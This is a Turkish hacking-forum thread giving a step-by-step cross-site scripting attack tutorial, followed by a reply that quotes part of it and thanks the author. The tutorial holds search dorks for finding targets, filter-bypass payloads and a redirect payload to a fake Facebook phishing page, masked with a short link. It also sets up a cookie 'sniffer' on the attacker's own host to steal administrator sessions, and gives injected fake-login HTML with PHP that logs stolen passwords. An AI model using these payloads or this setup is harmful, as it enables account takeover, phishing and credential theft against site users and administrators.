Web Güvenlik Açıkları | Döküman

savass

Üye
8 Ağu 2007
236
0
erzurum
Web Güvenliğini tehtit eden güvenlik zaafiyetleri ayrıntılı olarak tanıyacağız.Ayrıca bypass edilmesinden, açığın kullanımından, neler yapılabileceğinden ve birçok şeyden bahseceğim..Öncelikle şunu belirtmek isterim; siber dünyada hiç bir zaman %100 güvenlik diye bir terim yoktur.Her ne kadar güvenlik önlemi alırsanız alın, bir web sitesinin, Network ağının veya kendi güvenliğinizi %100 olarak sağlayamazsınız.Öncelikle Web Application’s (Web Uygulama) terimini tanıyalım.
Web Application’s, Web Uygulamalarının tümünün içerisinde bulunduğu bir yapıdır.(SQL İnjection’s, XSS (Cross Site Scripting), LFI/ RFI, XSRF/CSRF).Biz bu makalede bunları ele alacağız.Makelemizin sonunda ümid ederim ki; ilgi alanı web olan/olmayan arkadaşlarımızın ilgisi ve ilimi daha da artarak yükselecektir.

XSS (Cros Site Scriting)

1-Cross Site Scripting Nedir?
2-Cross Site Scripting Hangi Mantığa Dayalıdır?
3-Cross Site Scripting Açığı İçin Lazım Olan ****ryeller?
4-Cross Site Scripting İle Neler Yapabiliriz.?
5-Cross Site Scripting Açığı Nerelerde Bulunur?
a-) Search Kutularında
b-)id= Değerinin Bulunduğu Yerlerde
c-) Ziyaretçi Defterinde(STORED XSS)
d-) Kayıt Formlarında
e-) Yorum Formlarında..
6-Saldırı Anı (Açığın Bulunması) - Açığın Bypass Edilmesi.(Engellerin Aşımı)
a-)HTML Bypass Code
b-)Bypass JavaScript Code
c-)Normal Bypass
7-Saldırı Anı2 (Açığın Uygun Kullanımı) -
8-Saldırı Anı3 (Uygun Sniffer Yazılımı,Sniffer Nedir?)
9-Sonuç (Elimize Geçen Cookie (Çerez)’i Değiştirme ve Hedef Veriye Ulaşmak)
10-Cross Site Scripting Açığı Olan Bir Siteye Fake Login Sayfası Bırakmak.


1-Cross Site Scripting Nedir?

Kelime manası “Çapraz Kod Çalıştırmak” dır.Tehlikeli bir açık olduğu gibi çok basit bir zaafiyettir.Çok büyük sistemlerde bile rastlanabilen bir tür’dür.

2-Cross Site Scripting Hangi Mantığa Dayalıdır?

Web Sayfalarında oturum açarken “Beni Anımsa” , “Oturumumu Sürekli Açık Tut” şeklinde seçeneklerle karşılaşırız.Bu seçeneklere tıkladıktan sonra oturum açtığımızda Sistem tarafından bilgisayarımıza “Cookie” diye tabir ettiğimiz küçük metin dosyaları saklanır..Bunun sebebi o Web sayfasına bir dahaki ziyaretimizde bizi tanıması ve bizden giriş için kullanıcı adı ve şifre istememesidir.XSS Açığının mantığı da buna dayalıdır.Bir Web Sayfasında XSS Zaafiyeti bulup, o Web Sayfasına üye olan kişilerin oturum bilgilerini yani Cookielerini çalıp, Cookie değişikliğine sebep olup hesabı ele geçirmektir..

3-Cross Site Scripting Açığı İçin Lazım Olan ****ryeller?

Bir Web sayfasında XSS açığının olduğunu anlamak için bize uygun bir tarayıcı lazım.Ben Mozilla Kullanıyorum.Siz Dilerseniz Opera Kullanabilirsiniz.
Açığı bulduktan sonra hedef sitenin Admin şifresine ulaşmak istiyorsak bize lazım olacak şey bir XSS Sniffer kurmaktır.Bunu ilerleyen vakitlerde aşağıda göreceğiz.

4-Cross Site Scripting İle Neler Yapabiliriz.?

Yukarıda bahsettiğim gibi bir web sitesinde XSS Zaafiyeti bulup o web sitesindeki Kullanıcıların veya site yöneticisi olan Admin’nin Cookielerini çalıp hesabı ele geçirebiliriz.XSS Açığı sadece buna yaramaz.Javascript kodlarıyla backlink yapabilir yada kurbana sağlam bir Keylogger yedirebiliriz.

5-Cross Site Scripting Açığı Nerelerde Bulunur?


a-) Search Kutularında
XSS açığı bir çok yerde bulunabilir..Eğer bir XSS Açığı arıyorsanız sizlere birkaç dork verip onun üzerinde denemeler yapabilirsiniz.Dork;

inurl:”search.php?id=”
inurl:”index.php?id=”
inurl:”kayit.php?id=”

bu dorklar çuğaltılabilir...
Search (Arama) Kutularında, id= değeri, ziyaretçi defterleri, Kayıt Formları, Yorum Formları vb yerlerdede bulunabilir.Bir Search kutusu düşünün
gqGyr.jpg


Search kutusuna XSS açığının olup olmadığını anlamak için bir alert kodu yazalım;; **********alert(“Buralar eskiden hep XSS di.”);</script> ..
Yazdıktan sonra arama butonuna tıklıyoruz.Eğer açık mevcut ise ekrana bir alert yansıyacaktır, şu şekilde;
3dNiC.jpg

b-) id= Değerinin Bulunduğu Yerlerde

Bir Web sayfası düşünün ; www.hedefsite.com/deger.php?id=3 şeklinde olsun..Id= değerinin sağ tarafında bulunan rakam, harf, kelime veya her ne ise silip, onun yerine açık olduğunu anlamamız için alert kodunu yazıyoruz;

www.hedefsite.com/deger.php?id=**********alert(“Buralar Eskiden Hep XSS di ”);</script>
Daha sonra bu gönderdiğimiz sorgu ile ekrana alttaki şekilde bir alert yansıyorsa açık olduğunu tekrar anlıyoruz.;
3dNiC.jpg

c-) Ziyaretçi Defterlerinde (STORED XSS)
6XHeE.jpg

Üstte görülen resim bir sitede bulunan ziyaretçi defteridir.Ziyaretçi Defterleri web sayfaları için çok tehlike arz eden yerlerdir.Bu zaafiyet türüne STORED XSS Zaafiyeti denilir.Buraya yazdığımız bir HTML veya Javascript kodu herkez tarafından görülebildiği için sayfada çalıştığında ziyaretçi defterine giren herkez tarafından sizin girdiğiniz kod çalışacaktır.Yani gireceğiniz HTML **** yönlendirme kodu sayfaya giren şahısları hedef adreslere yönlendirecektir.Bu saldırıya biraz daha süs katmak için Phising sayfanıza veya Fake sayfanıza yönlendirme yapabilirsiniz.Şimdi burada görülen kutucuklara XSS Alert kodunu yazıyoruz.;
tjQ06.jpg

Eğer açık varsa sayfa bizim kodumuzu çalıştıracaktır.Yani ekrana alert gelecektir.;
d-) Kayıt Formlarında
36JTD.jpg

Kayıt Formları XSS Açığı için olanak sağlıyor.Kayıt Formları genellikle Forum sitelerde mevcuttur.Forum siteleri çoğunluk olarak hazır sistem kullanırlar.(MyBB, Vb, SMF vs vs)
Eğer bir forumda hazır sistem kuruluysa veya sürüm olarak belirli bir sürümü varsa ki genelde olur; Exploit sitelerinden O sistemin sürümünü araştırabilir, XSS Açıkları mevcutsa Exploit yardımıyla açığı sömürebilirsiniz.Biz sistem kullanılmayan bir forum sitesinden devam edelim :) Üstte görüldüğü gibi bir kayıt formu mevcut.Buradaki kutucuklara tıpkı ziyaretçi formlarındaki gibi XSS Alert kodlarımızı entegre ediyoruz.Eğer açık mevcutsa alert alınır.

e-) Yorum Formlarında

styxN.jpg

Görüldüğü gibi bir konun altında mevcut olan yorum yazma texti..
Burada Mesaj *: text bölümüne XSS Alert kodumuzu yazıyoruz;
UNgas.jpg

Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruz.Eğer ki XSS Açığı olsaydı alert alacaktık.Konuya giren kişiler tarafından da görülecekti.Yani bu kod onlar konuya girildiği esnada çalışacak ve onlara da alert verecekti.Buraya ben XSS Alert kodu değil de Fake sayfama yönlendirmesi için bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese yönlenecekti.Ama öyle bir açık olmadığı için CW ‘de başka kapıya :))

6-Saldırı Anı (Açığın Bulunması) - Açığın Bypass Edilmesi.(Engellerin Aşımı)

Bir Web Sayfası düşünün; www.hedef.com/index.php?id=
XSS Açığı arayalım hemen; www.hedef.com/index.php?id=**********alert(“Mahser”);</script>

Yaptık Ekrana alert yansımadı.Pesmi edeceğiz? Hayır tabi ki de..Herşeyin bir yolu olduğu gibi bununda bir yolu var.Normal şartlarda bu sitede açık olduğunu düşünün.Ama bize alert vermedi.Bizde bu açığı bypass ederek ekrana alert’ımızı alacağız.Nasıl mı? ;

a-) HTML Bypass Code

Evet ilk bypass yöntemimizde **********alert(“Mahser”);</script> Alert kodumuzu HTML Encode edecez yani Şifreleyeceğiz.Hemen bakalım;
FZPzL.jpg

Ne Yaptık? HTML Encoder ile kodumuzu şifreledik.Şimdi bu şekilde açık analizi yapalım;
[url]www.hedef.com/index.php?id=[/url] <script type="text/javascript">********.write(’\\u007F\\u003C\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074\\u003E\\u0061\\u006C\\u0065\\u0072\\u0074\\u0028\\u0022\\u004D\\u0061\\u0068\\u0073\\u0065\\u0072\\u0022\\u0029\\u003B\\u003C\\u002F\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074\\u003E’);</script>
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass yöntemini gerçekleştiricez.Tekrar hedef site üzerine yoğunlaşalım;

www.hedef.com/index.php?id=**********alert(“Mahser”);</script>

Şeklinde giriyoruz.Alert alamadık.Hemen kodlarla oynayalım farkı görelim;
48YQz.jpg

Evet kodumuzla oynadık tekrar hedef site üzerinde açık analizi yaptığımızda alert alacağız.

c-)Normal Bypass

Sıra Geldi Normal Bypass Yoluna.Bu bypass türünde alert kodumuzla pek oynama yapmayacağız.Alert kodumuzun başına bir müdahalede bulunarak alert alacağız;
eSNmw.jpg

Evet bu şekilde de farklı bir bypass yöntemi uyguladık.Burada ki “> kodu daha anlaşılır ve koda netlik katar.Bu yolla da bir alert aldık.Sıra geldi açığın uygun kullanımına...

7-Saldırı Anı2 (Açığın Uygun Kullanımı) -

Cross Site Scripting açığını bulduktan sonra en önemli faktörlerden birisi de açığın uygun kullanımıdır.Açığı ne kadar iyi sömürürseniz sizin için o derece iyidir.XSS Açığının sadece site hacklemek için değil, Siteye üye kişilerin bilgilerini almak için, hesapları ele geçirmek için veya bir kurbana phising, fake benzeri sayfalar yutturmak için de kullanabilirsiniz.Biz bu sefer XSS Açığını kurbanı fake facebook sayfamıza yönlendirmek için kullanacağız.Hemen başlıyoruz.


Hedef sitemiz ; Target : Expect More. Pay Less. olsun.Açığı bulduğumuz dosya home.php dosyası olsun ve veriyi id ile çagırsın.; www.target.com/home.php?id= şeklinde..

Şimdi biz buraya öyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına yönlendirsin.
Yazacağımız kod şu şekildedir;
www.target.com/home.php?id=">******************.********.href= "www.fakefacebooksayfam.com" </script>

Evet sorguyu site üstünde çagırdığımız da bizi www.fakefacebooksayfam.com adresine yönlendiricektir.Bunu kurbana atacaksınız.Fakat link çok uzun kurbanımız burada bir şeytanlık olduğunu anlayabilir.Peki ne yapacağız? https://bitly.com/ adresine giriyoruz.Sağ üst köşede bir kutucuk mevcut.O kısma www.target.com/home.php?id=">******************.********.href= "www.fakefacebooksayfam.com" </script>

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz.Burada yaptığımız işlem link kısaltmaktır.

Bize http://bit.ly/49856821 Şeklinde bir kısaltılmış link verecek.Kurban link kısa olduğu için şüphelenmez.Bu şekilde kurbana yedirme şansımız vardır.

8-Saldırı Anı3 (Uygun Sniffer Yazılımı,Sniffer Nedir?)
Sniffer Nedir?

Sniffer kelime manasıyla koklayıcı anlamına gelir.Sniffer birçok şeyi için kullanılabilir.Biz burada XSS Sniffer hazırlayacağız.XSS Sniffer ne işe yarar diye soracaksınız.Bir XSS Açığı bulduğumuzu farz edelim.Admin in veya Siteye üye olan kullancıların Cookie’lerini Çalıcaz ve Kendi cookielerimizle değiştirip o kullanıcı adına giriş yapmış olacağız.Bulduğumuz açığı Sniffer’a kuracağız.Daha sonra kendi hostumuza atacaz ve sniffer’ı kurban’a tıklatacağız.Bu Şekilde Kurbanın Cookielerini çalacağız.Yani biraz olsa da Sosyal Mühendislik ile alakalıdır..
İşleme başlamadan Sniffer dosyalarını vereyim sizlere;
Bu linkten ulaşabilirsiniz - > https://www.box.com/s/d45q4d5ywdzxwcn7n7wn

Hemen kuruluma geçiyoruz;
Editleyeceğimiz dosyalar “ch.js" ve "index.html ilk olarak ch.js dosyasını açıyoruz.

http://SİTE ADRESİ/Sniffer/sniffer.php?c= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazan kısma dosyaları atacağımız sitenin adresini yazıyoruz.(Sniffer dosyası adı altında)

http://benimsitem.com/Sniffer/sniffer.php?c= kaydedip kapatıyoruz.

Şimdi ise index.html dosyamızı editleyeceğiz.Notepad de açtığınızda http://XSS ADRESİ= şeklinde bir yazıyla karşılaşacağız.XSS Adresi yazan kısma, XSS Açığını bulduğumuz siteyi yazalım;

http://target.com/index.php?id= yazdıktan sonra biraz sag tarafta bulunan http://SİTE ADRESİ/Sniffer/ch.js

SİTE ADRESİ yazan kısmada üstte olduğu gibi kendi sitemizin adini yazıyoruz.;

http://benimsitem.com/Sniffer/ch.js yazdık.Kaydedip kapatıyoruz.

Daha sonra sniffer klasörümüzü sitemize FTP aracılığıyla atıyoruz.Hemen kendi sitemizde çalıştırıyoruz snifferımızı.; http://benimsitem.com/Sniffer/log.php şeklinde log panelimizi çağırıyoruz.Bu adres cookielerin log olarak tutulacağı adresdir.Giriş yaptığımızda bizden Kullanıcı adı , şifre isteyecektir.Kullanıcı adı : admin şifresi: admin’dir..
Girdikten sonra bizi log paneline aktaracaktır.Açığı bulduğumuz siteden bir kurbana veya admin’e linki tıklatmadığımız için Log panelinde “Henüz Log bulunamadı” şeklinde bir yazı çıkacaktır.

Bizim admin’e tıklatmamız gereken link index.html dosyasıdır.Yani http://benimsitem.com/Sniffer/index.html ‘dir.Buraya girdiğiniz de bir admin paneli gelecek karşımıza..Bu admin panelini sahte bir admin panelidir.Yani admin’in anlamaması için kurulmuş bir paneldir.Sizin yapacağınız sadece admin’e veya kurbana http://benimsitem.com/Sniffer/index.html linkini tıklatmaktır.Biraz sosyal mühendislik gerekiyor burada tıklatmak için..Tıklattıktan sonra admin’in veya kurbanın cookie bilgileri;
http://benimsitem.com/Sniffer/log.php adresine gelecektir.

9-Sonuç (Elimize Geçen Cookie (Çerez)’i Değiştirme ve Hedef Veriye Ulaşmak)



Cookieleri çektik, Cookie’ler elimizde..Cookielerin son satırında Username ve Password kısmı bulunmaktadır.Yani şu şekilde;

[Username]= admin; UserİnfoCookie[Password]= mahserat

Evet görüldüğü gibi kullanıcı adı admin şifresi de mahserat mış..Bu şekilde Adminin Bilgilerinede Erişmiş olduk..

10-Cross Site Scripting Açığı Olan Bir Siteye Fake Login Sayfası Bırakmak.


Son olarak XSS Açığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız.
Açığı bulduğumuz link: www.site.com/index.php?id= olduğunu farz edelim.Buraya HTML kodlarıyla bir Login Kısmı oluşturucağız.

www.site.com/index.php?id="><hmtl><head><**** content="text/html; charset=ISO-8859-1"http-equiv="content-type" /><title></title></head><bOdy><div style="text-aling: center;"><form method="POST" action="fakesayfa.php" name="form">Fake Login: <br><br>Kullanıcı adı:<br><input type="text" value="" ><br>Sifre:<br> <input name="Pass" type="password" /><br><br><input name="valid" value="Gonder" type="submit" /><br></form></div></bOdy></html>

Bu Şekilde bir HTML Kodu enjekte ettik siteye.Fake bir Login kısmı ürettik.fakesayfa.php dosyasına dikkat edelim arkadaşlar ;

fakesayfa.php;
<?php
$login = $_POST[’login’];
$password= $_POST[’Password’];
$open = fopen(’log.htm’ , ’a+’);
fputs($open, ’Login:’ . $login. ’<br>’ . ’
Password : ’ . $password . ’<br>’ . ’<br>’);
?>

fakesayfa.php dosyası log.htm dosyası oluşturuyor.Loglarımızı tutuyor...

Evet XSS Açığının Ne Olduğunu Ayrıntısına Kadar Biliyorsunuz Artık :)
 

paracelsus

Katılımcı Üye
24 Şub 2012
994
0
[Bilinmiyor]
8-Saldırı Anı3 (Uygun Sniffer Yazılımı,Sniffer Nedir?)
Sniffer Nedir?

Sniffer kelime manasıyla koklayıcı anlamına gelir.Sniffer birçok şeyi için kullanılabilir.Biz burada XSS Sniffer hazırlayacağız.XSS Sniffer ne işe yarar diye soracaksınız.Bir XSS Açığı bulduğumuzu farz edelim.Admin in veya Siteye üye olan kullancıların Cookie’lerini Çalıcaz ve Kendi cookielerimizle değiştirip o kullanıcı adına giriş yapmış olacağız.Bulduğumuz açığı Sniffer’a kuracağız.Daha sonra kendi hostumuza atacaz ve sniffer’ı kurban’a tıklatacağız.Bu Şekilde Kurbanın Cookielerini çalacağız.Yani biraz olsa da Sosyal Mühendislik ile alakalıdır..
İşleme başlamadan Sniffer dosyalarını vereyim sizlere;
Bu linkten ulaşabilirsiniz - > https://www.box.com/s/d45q4d5ywdzxwcn7n7wn

Hemen kuruluma geçiyoruz;
Editleyeceğimiz dosyalar “ch.js" ve "index.html ilk olarak ch.js dosyasını açıyoruz.

http://SİTE ADRESİ/Sniffer/sniffer.php?c= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazan kısma dosyaları atacağımız sitenin adresini yazıyoruz.(Sniffer dosyası adı altında)

http://benimsitem.com/Sniffer/sniffer.php?c= kaydedip kapatıyoruz.

Şimdi ise index.html dosyamızı editleyeceğiz.Notepad de açtığınızda http://XSS ADRESİ= şeklinde bir yazıyla karşılaşacağız.XSS Adresi yazan kısma, XSS Açığını bulduğumuz siteyi yazalım;

http://target.com/index.php?id= yazdıktan sonra biraz sag tarafta bulunan http://SİTE ADRESİ/Sniffer/ch.js

SİTE ADRESİ yazan kısmada üstte olduğu gibi kendi sitemizin adini yazıyoruz.;

http://benimsitem.com/Sniffer/ch.js yazdık.Kaydedip kapatıyoruz.

Daha sonra sniffer klasörümüzü sitemize FTP aracılığıyla atıyoruz.Hemen kendi sitemizde çalıştırıyoruz snifferımızı.; http://benimsitem.com/Sniffer/log.php şeklinde log panelimizi çağırıyoruz.Bu adres cookielerin log olarak tutulacağı adresdir.Giriş yaptığımızda bizden Kullanıcı adı , şifre isteyecektir.Kullanıcı adı : admin şifresi: admin’dir..
Girdikten sonra bizi log paneline aktaracaktır.Açığı bulduğumuz siteden bir kurbana veya admin’e linki tıklatmadığımız için Log panelinde “Henüz Log bulunamadı” şeklinde bir yazı çıkacaktır.

Bizim admin’e tıklatmamız gereken link index.html dosyasıdır.Yani http://benimsitem.com/Sniffer/index.html ‘dir.Buraya girdiğiniz de bir admin paneli gelecek karşımıza..Bu admin panelini sahte bir admin panelidir.Yani admin’in anlamaması için kurulmuş bir paneldir.Sizin yapacağınız sadece admin’e veya kurbana http://benimsitem.com/Sniffer/index.html linkini tıklatmaktır.Biraz sosyal mühendislik gerekiyor burada tıklatmak için..Tıklattıktan sonra admin’in veya kurbanın cookie bilgileri;
http://benimsitem.com/Sniffer/log.php adresine gelecektir.

9-Sonuç (Elimize Geçen Cookie (Çerez)’i Değiştirme ve Hedef Veriye Ulaşmak)



Cookieleri çektik, Cookie’ler elimizde..Cookielerin son satırında Username ve Password kısmı bulunmaktadır.Yani şu şekilde;

[Username]= admin; UserİnfoCookie[Password]= mahserat

Evet görüldüğü gibi kullanıcı adı admin şifresi de mahserat mış..Bu şekilde Adminin Bilgilerinede Erişmiş olduk..

Gerçekten Çok Lazımdı Sağol :D

Ellerine Sağlık

Bu Kısım Çok Değerli Bilgiler İçeriyor :D
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.